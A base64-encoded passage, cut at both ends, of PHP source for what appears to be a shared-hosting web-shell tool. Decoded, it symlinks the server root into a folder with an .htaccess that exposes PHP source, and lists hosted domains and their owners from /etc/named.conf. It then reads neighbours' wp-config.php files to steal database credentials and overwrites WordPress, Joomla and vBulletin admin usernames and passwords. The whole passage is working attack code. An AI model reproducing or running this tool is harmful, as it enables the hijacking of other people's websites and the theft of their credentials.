UydjIoJHRleHQsImRlZmluZSgnREJfTkFNRScsICciLCInKTsiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHA9ZW50cmUydjIoJHRleHQsIiR0YWJsZV9wcmVmaXggPSAnIiwiJyIpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5wd2Q9IG1kNSgkcGFzcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhvc3Q9ImxvY2FsaG9zdCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiY29ubmVjdD1AIG15c3FsX2Nvbm5lY3QoJGhvc3QsJGRidSwkZGJwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJzZWxlY3Q9QCBteXNxbF9zZWxlY3RfZGIoJGRibiwkZGJjb25uZWN0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkZGJzZWxlY3QpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5kYXRhYmFzZSAkZGJuIGhhcyBiZWVuIHNlbGVjdGVkPGJyPiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcnU9QCBteXNxbF9xdWVyeSgiVVBEQVRFIGAiLiR0cC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSciLiR1bmFtZS4iJyBXSEVSRSBJRCA9IDEiKSA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJ1PSBAIG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHRwLiJ1c2Vyc2AgU0VUIGB1c2VyX3Bhc3NgID0nIi4kbnB3ZC4iJyBXSEVSRSBJRCA9IDEiKSA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gYCIuJHRwLiJvcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0naG9tZSciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzaXRlX3VybD0kZGF0YVsib3B0aW9uX3ZhbHVlIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAid2Vic2l0ZSBpcyAiLiRkYXRhWyJvcHRpb25fdmFsdWUiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJHJ1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBzaXplPTIgY29sb3I9cmVkIGZhY2U9J2NvbWljIHNhbnMgbXMnPjxicj5jb3VsZCBub3QgdXBkYXRlIHVzZXJuYW1lL3Bhc3N3b3JkIDpQPC9mb250PiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2Ugew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PHRhYmxlIHdpZHRoPTYwJSBib29yZGVyPTE+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zIGNvbG9yPXJlZCBmYWNlPSdjb21pYyBzYW5zIG1zJz5EdWRlIDpQLHVzZXJuYW1lICR1bmFtZSBhbmQgcGFzc3dvcmQgJHBhc3MgaGFzIGJlZW4gdXBkYXRlZCBmb3IgSUQ9MSA6RDwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvY2VudGVyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICB9ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3BhcnRpY3VsYXInXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxmb250IHNpemU9MyBjb2xvcj13aGl0ZSBmYWNlPSJjb21pYyBzYW5zIG1zIj5QdXQgdGhlIHdvcmRwcmVzcyB3ZWJzaXRlIHVzZXJuYW1lcyBmb3IgbWFzcyB1c2VyL3Bhc3N3b3JkIGNoYW5nZTxicj48L2ZvbnQ+PGJyLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9cG9zdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPTMgY29sb3I9d2hpdGUgZmFjZT0iY29taWMgc2FucyBtcyI+IFVzZXJuYW1lOjxpbnB1dCB0eXBlPXRleHQgbmFtZT11bmFtZSB2YWx1ZT1UZWFtPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQYXNzd29yZDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXNzIHZhbHVlPVRFUk1YPjwvZm9udD48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9cmVkIHNpemU9MyBmYWNlPSJjb21pYyBzYW5zIG1zIj51c2VyIGxpc3Q8YnI+PHRleHRhcmVhIHJvd3M9NiBjb2xzPTQ1IG5hbWU9d2VuPjwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1jYW50IHZhbHVlPSJDbGljayBtZSBhbmQgaSB3aWxsIHRyeSB0byBoZXggdGhpcyBzaGl0IFhEIiAvPjwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvY2VudGVyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnY2FudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9yZXBvcnRpbmcoMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVuYW1lPSRfUE9TVFsndW5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFzcz0kX1BPU1RbJ3Bhc3MnXTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1c2Vycz0kX1BPU1RbJ3dlbiddOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJ3Rlcm14JywwNzc3KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcnIgID0gIiBPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGcgPSBmb3BlbigndGVybXgvLmh0YWNjZXNzJywndycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZywkcnIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5bWxpbmsoIi8iLCJ0ZXJteC9yb290Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzZT1leHBsb2RlKCJcbiIsJHVzZXJzKTsNCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCR1c2UgYXMgJHVzKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdT10cmltKCR1cyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkIHNpemU9MyBmYWNlPVwiY29taWMgc2FucyBtc1wiPiIuJHU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGJhc2VfdXJsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLmRpcm5hbWUoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pLicvdGVybXgvcm9vdC9ob21lLyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbmZpPWFycmF5KCJ3cC1jb25maWcucGhwIiwiYmxvZy93cC1jb25maWcucGhwIiwid29yZHByZXNzL3dwLWxvZ2luLnBocCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGNvbmZpIGFzICRjbykNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHV1cmw9QGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4kdS4iL3B1YmxpY19odG1sLyIuJGNvKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1dXJsICYmIHByZWdfbWF0Y2goJy9EQl9OQU1FL2knLCR1dXJsKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48dGFibGUgd2lkdGg9NjAlID48dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBjb2xvcj1yZWQgc2l6ZT00IGZhY2U9J2NvbWljIHNhbnMgbXMnPiB3ZWJzaXRlIGNtcyBpcyB3b3JkcHJlc3Mgb2YgdXNlciAkdSA8L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd2w9JGJhc2VfdXJsLiR1LiIvcHVibGljX2h0bWwvIi4kY287DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRleHQ9ZmlsZV9nZXRfY29udGVudHMoJHdsKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1bmFtZT0kX1BPU1RbJ3VuYW1lJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRidT1lbnRyZTJ2MigkdGV4dCwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYnA9ZW50cmUydjIoJHRleHQsImRlZmluZSgnREJfUEFTU1dPUkQnLCAnIiwiJyk7Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRibj1lbnRyZTJ2MigkdGV4dCwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0cD1lbnRyZTJ2MigkdGV4dCwiJHRhYmxlX3ByZWZpeCA9ICciLCInIik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnB3ZD0gbWQ1KCRwYXNzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaG9zdD0ibG9jYWxob3N0IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJjb25uZWN0PUAgbXlzcWxfY29ubmVjdCgkaG9zdCwkZGJ1LCRkYnApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYnNlbGVjdD1AIG15c3FsX3NlbGVjdF9kYigkZGJuLCRkYmNvbm5lY3QpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRkYnNlbGVjdCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPmRhdGFiYXNlICRkYm4gaGFzIGJlZW4gc2VsZWN0ZWQ8YnI+IjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRydT1AIG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHRwLiJ1c2Vyc2AgU0VUIGB1c2VyX2xvZ2luYCA9JyIuJHVuYW1lLiInIFdIRVJFIElEID0gMSIpIDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcnU9IEAgbXlzcWxfcXVlcnkoIlVQREFURSBgIi4kdHAuInVzZXJzYCBTRVQgYHVzZXJfcGFzc2AgPSciLiRucHdkLiInIFdIRVJFIElEID0gMSIpIDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSBgIi4kdHAuIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJ3ZWJzaXRlIGlzICIuJGRhdGFbIm9wdGlvbl92YWx1ZSJdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkcnUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IHNpemU9MiBjb2xvcj1yZWQgZmFjZT0nY29taWMgc2FucyBtcyc+PGJyPmNvdWxkIG5vdCB1cGRhdGUgdXNlcm5hbWUvcGFzc3dvcmQgOlA8L2ZvbnQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48dGFibGUgd2lkdGg9NjAlIGJvb3JkZXI9MT48dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTMgY29sb3I9cmVkIGZhY2U9J2NvbWljIHNhbnMgbXMnPkJybyA6KSx1c2VybmFtZSAkdW5hbWUgYW5kIHBhc3N3b3JkICRwYXNzIGhhcyBiZWVuIHVwZGF0ZWQgZm9yIElEPTEgOkQ8L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnZHUnXSkpDQogICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxmb250DQogICAgICAgICAgICAgICAgICAgICAgCWNvbG9yPXdoaXRlIHNpemU9MyBmYWNlPSJjb21pYyBzYW5zIG1zIj4tLT09W1t3ZWJzaXRlIGFuZA0KICAgICAgICAgICAgICAgICAgICAgIAl1c2VybmFtZV1dPT0tLTwvZm9udD48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkZDBtYWlucyl7IGRpZSgiPGZvbnQgc2l6ZT0zPjxiPjxmb250IGNvbG9yPXJlZD5FcnJvciBpbiByZWFkaW5nIC9ldGMvbmFtZWQuY29uZiAiKTsgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD48Zm9udCBzaXplPTMgZmFjZT0nY29taWMgc2FucyBtcyc+d2Vic2l0ZTwvdGQ+PHRkPjxmb250IHNpemU9MyBmYWNlPWNvbWljIHNhbnMgbXM+dXNlcm5hbWU8L2ZvbnQ+PC90ZD48L3RyPiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGVyZWdpKCJ6b25lIiwkZDBtYWluKSl7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpew0KDQogICAgICAgICAgICAgICAgICAgICAgICAkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW5zWzFdWzBdLiIvPjxmb250IGNvbG9yPXdoaXRlIGZhY2U9J2NvbWljIHNhbnMgbXMnPiIuJGRvbWFpbnNbMV1bMF0uIjwvYT48L3RkPjx0ZD48Zm9udCBjb2xvcj13aGl0ZSBmYWNlPSdjb21pYyBzYW5zIG1zJz4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOyBmbHVzaCgpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICB9fX0NCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC9jZW50ZXI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgIH0gPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnd2pjJ10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9MiBmYWNlPSJjb21pYyBzYW5zIG1zIj48Yj4tLT09W1s8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkIHNpemU9MiBmYWNlPSJjb21pYyBzYW5zIG1zIj5DTVMgYmFzZWQgc3ltbGluayxWQnVsbGV0aW4sd29yZHByZXNzIGFuZCBKb29tbGEgYWRtaW4gcGFuZWwgcGFzc3dvcmQgY2hhbmdlcjwvZm9udD48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT0iY29taWMgc2FucyBtcyI+XV09PS0tPGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9InJlZCIgc2l6ZT0iMyIgZmFjZT0iY29taWMgc2FucyBtcyI+Y21zIGJhc2VkDQogICAgICAgICAgICAgICAgICAgICAgICAJc3ltbGluazwvZm9udD48L2E+PC90ZD48dGQgd2lkdGg9MjUlIGFsaWduPWNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT0iY29taWMgc2FucyBtcyI+VkJ1bGxldGluLXBhc3MgY2hhbmdlcjwvZm9udD48L2E+DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCTwvdGQ+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT0iY29taWMgc2FucyBtcyI+d29yZHByZXNzLXBhc3MgY2hhbmdlcjwvZm9udD48L2E+DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCTwvdGQ+PHRkIHdpZHRoPSIyMCUiYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXJlZCBzaXplPTMgZmFjZT0iY29taWMgc2FucyBtcyI+Sm9vbWxhLXBhc3MgY2hhbmdlcjwvZm9udD48L2E+IDwvdGQ+PC90cj48dGQgYWxpZ249bGVmdD4gPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIC8vY21zIGJhc2VkIHN5bWxpbmsgZnVuY2lvbg0KDQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPEZvcm0gTWV0aG9kID1Qb3N0IEFDVElPTiA9JyAnPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBzaXplPTIgY29sb3I9d2hpdGUgZmFjZT0nY29taWMgc2FucyBtcyc+d2Vic2l0ZSB1c2VybmFtZSA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndW5hbWUnPiZuYnNwJm5ic3AmbmJzcDxicj4gIjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3doaXRlJyBzaXplPTIgZmFjZT0nY29taWMgc2FucyBtcyc+PElucHV0IHR5cGUgPSAnUmFkaW8nIE5hbWUgPSdjb25maWcnICB2YWx1ZT0nd29yZHByZXNzJz48Zm9udCBjb2xvcj0nd2hpdGUnPndvcmRwcmVzcyI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PElucHV0IHR5cGUgPSAnUmFkaW8nIE5hbWUgPSdjb25maWcnIHZhbHVlPSAnam9vbWxhJz48Zm9udCBjb2xvcj0nd2hpdGUnIHNpemU9MiBmYWNlPSdjb21pYyBzYW5zIG1zJz5qb29tbGE8YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxJbnB1dCB0eXBlID0gJ1JhZGlvJyBOYW1lID0nY29uZmlnJyB2YWx1ZT0gJ3ZCdWxsZXRpbic+PGZvbnQgY29sb3I9J3doaXRlJyAgc2l6ZT0yIGZhY2U9J2NvbWljIHNhbnMgbXMnPnZCdWxsZXRpbiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PElucHV0IHR5cGUgPSAnUmFkaW8nIE5hbWUgPSdjb25maWcnIHZhbHVlPSAnYW55Jz48Zm9udCBjb2xvcj0nd2hpdGUnIHNpemU9MiBmYWNlPSdjb21pYyBzYW5zIG1zJz5wdWJsaWNfaHRtbCI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJ1dHRvbiB0eXBlID0gJ1N1Ym1pdCcgTmFtZSA9ICdTdWJtaXQxJyBpZD0nYnV0dG9uJz4gPC9idXR0b24+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvRk9STT4iOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ1N1Ym1pdDEnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAJJHI9JF9QT1NUWyJjb25maWciXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyPT0id29yZHByZXNzIikNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSR5PXRyaW0oJF9QT1NUWyJ1bmFtZSJdKTsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY3VyUGFnZVVSTCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZVVSTCA9ICdodHRwJzsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlVVJMIC49ICI6Ly8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAhPSAiODAiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICRVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uIjoiLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgPSRVUkw7DQogICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZVVSTDsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHI9IGRpcm5hbWUoY3VyUGFnZVVSTCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHg9JHIuIi9VZVhwbG9pVC9yb290L2hvbWUvIi4keS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnIgXD48YSBocmVmPSIuICR4LiI+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9J2NvbWljIHNhbnMgbXMnPmxpbmsgdG8gd3AtY29uZmlnLnBocDwvYT4iOw0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAl9DQogICAgICAgICAgICAgICAgICAgICAgICAJZWxzZWlmKCRyPT0iam9vbWxhIikNCiAgICAgICAgICAgICAgICAgICAgICAgIAl7DQogICAgICAgICAgICAgICAgICAgICAgICAJJHVuPXRyaW0oJF9QT1NUWyJ1bmFtZSJdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgZnVuY3Rpb24gY3VyUGFnZVVSTCgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAkcGFnZVVSTCA9ICdodHRwJzsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlVVJMIC49ICI6Ly8iOw0KICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1NFUlZFUlsiU0VSVkVSX1BPUlQiXSAhPSAiODAiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICRVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uIjoiLiRfU0VSVkVSWyJTRVJWRVJfUE9SVCJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgPSRVUkw7DQogICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VVUkwgLj0gJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZVVSTDsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgJHI9IGRpcm5hbWUoY3VyUGFnZVVSTCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJHg9JHIuIi9VZVhwbG9pVC9yb290L2hvbWUvIi4kdW4uIi9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9u